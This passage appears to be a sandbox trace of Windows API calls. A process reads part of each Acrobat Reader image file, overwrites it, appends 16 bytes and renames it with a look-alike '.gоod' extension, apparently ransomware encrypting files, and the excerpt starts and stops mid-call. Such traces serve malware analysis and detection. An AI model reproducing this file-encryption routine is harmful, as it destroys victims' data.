lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner.gif.gоod")) returned 1 [0119.919] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif", lpFilePart=0x0) returned 0x71 [0119.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0119.919] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x35285f0 | out: lpFileInformation=0x35285f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x927b)) returned 1 [0119.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0119.920] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif", lpFilePart=0x0) returned 0x71 [0119.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0119.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0119.920] GetFileType (hFile=0x7dc) returned 0x1 [0119.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0119.920] GetFileType (hFile=0x7dc) returned 0x1 [0119.920] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0119.920] ReadFile (in: hFile=0x7dc, lpBuffer=0x3528ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x3528ad8*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0120.035] CloseHandle (hObject=0x7dc) returned 1 [0120.035] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif", lpFilePart=0x0) returned 0x71 [0120.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0120.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0120.036] GetFileType (hFile=0x7dc) returned 0x1 [0120.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0120.036] GetFileType (hFile=0x7dc) returned 0x1 [0120.036] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x927b [0120.036] WriteFile (in: hFile=0x7dc, lpBuffer=0x33f6a28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x33f6a28*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0120.048] CloseHandle (hObject=0x7dc) returned 1 [0120.049] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif", lpFilePart=0x0) returned 0x71 [0120.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0120.049] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0120.049] GetFileType (hFile=0x7dc) returned 0x1 [0120.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0120.049] GetFileType (hFile=0x7dc) returned 0x1 [0120.049] ReadFile (in: hFile=0x7dc, lpBuffer=0x33f8d50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x33f8d50*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0120.077] CloseHandle (hObject=0x7dc) returned 1 [0120.077] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif", lpFilePart=0x0) returned 0x71 [0120.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0120.077] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0120.077] GetFileType (hFile=0x7dc) returned 0x1 [0120.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0120.077] GetFileType (hFile=0x7dc) returned 0x1 [0120.077] WriteFile (in: hFile=0x7dc, lpBuffer=0x33f7a40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x33f7a40*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0120.077] CloseHandle (hObject=0x7dc) returned 1 [0120.077] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif", lpFilePart=0x0) returned 0x71 [0120.077] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif.gоod", lpFilePart=0x0) returned 0x76 [0120.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0120.077] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x43c87d61, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x928b)) returned 1 [0120.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0120.078] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner2x.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner2x.gif.gоod")) returned 1 [0120.078] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif", lpFilePart=0x0) returned 0x74 [0120.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0120.078] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark.gif"), fInfoLevelId=0x0, lpFileInformation=0x34763e0 | out: lpFileInformation=0x34763e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a30)) returned 1 [0120.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0120.078] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif", lpFilePart=0x0) returned 0x74 [0120.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0120.079] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0120.079] GetFileType (hFile=0x7dc) returned 0x1 [0120.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0120.079] GetFileType (hFile=0x7dc) returned 0x1 [0120.079] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0120.079] ReadFile (in: hFile=0x7dc, lpBuffer=0x34768e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x34768e8*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0120.451] CloseHandle (hObject=0x7dc) returned 1 [0120.877] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif", lpFilePart=0x0) returned 0x74 [0120.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0120.877] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0120.877] GetFileType (hFile=0x7dc) returned 0x1 [0120.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0120.877] GetFileType (hFile=0x7dc) returned 0x1 [0120.877] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x2a30 [0120.877] WriteFile (in: hFile=0x7dc, lpBuffer=0x365cc88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x365cc88*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0120.878] CloseHandle (hObject=0x7dc) returned 1 [0120.878] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif", lpFilePart=0x0) returned 0x74 [0120.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0120.878] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0120.879] GetFileType (hFile=0x7dc) returned 0x1 [0120.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0120.879] GetFileType (hFile=0x7dc) returned 0x1 [0120.879] ReadFile (in: hFile=0x7dc, lpBuffer=0x365efc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x365efc0*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0121.511] CloseHandle (hObject=0x7dc) returned 1 [0121.511] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif", lpFilePart=0x0) returned 0x74 [0121.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0121.511] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0121.511] GetFileType (hFile=0x7dc) returned 0x1 [0121.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0121.511] GetFileType (hFile=0x7dc) returned 0x1 [0121.511] WriteFile (in: hFile=0x7dc, lpBuffer=0x33abd08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x33abd08*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0121.512] CloseHandle (hObject=0x7dc) returned 1 [0121.512] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif", lpFilePart=0x0) returned 0x74 [0121.512] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif.gоod", lpFilePart=0x0) returned 0x79 [0121.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0121.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x44a3d650, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2a40)) returned 1 [0121.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0121.512] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark.gif.gоod")) returned 1 [0121.513] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif", lpFilePart=0x0) returned 0x76 [0121.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0121.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x3599288 | out: lpFileInformation=0x3599288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6aa2)) returned 1 [0121.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0121.513] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif", lpFilePart=0x0) returned 0x76 [0121.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0121.513] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0121.513] GetFileType (hFile=0x7dc) returned 0x1 [0121.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0121.514] GetFileType (hFile=0x7dc) returned 0x1 [0121.514] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0121.514] ReadFile (in: hFile=0x7dc, lpBuffer=0x3599790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x3599790*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0121.515] CloseHandle (hObject=0x7dc) returned 1 [0121.515] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif", lpFilePart=0x0) returned 0x76 [0121.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0121.516] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0121.516] GetFileType (hFile=0x7dc) returned 0x1 [0121.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0121.516] GetFileType (hFile=0x7dc) returned 0x1 [0121.516] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x6aa2 [0121.516] WriteFile (in: hFile=0x7dc, lpBuffer=0x359b380*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x359b380*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0121.517] CloseHandle (hObject=0x7dc) returned 1 [0121.517] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif", lpFilePart=0x0) returned 0x76 [0121.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0121.517] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0121.517] GetFileType (hFile=0x7dc) returned 0x1 [0121.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0121.517] GetFileType (hFile=0x7dc) returned 0x1 [0121.517] ReadFile (in: hFile=0x7dc, lpBuffer=0x359d6b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x359d6b8*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0121.617] CloseHandle (hObject=0x7dc) returned 1 [0121.617] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif", lpFilePart=0x0) returned 0x76 [0121.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0121.617] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 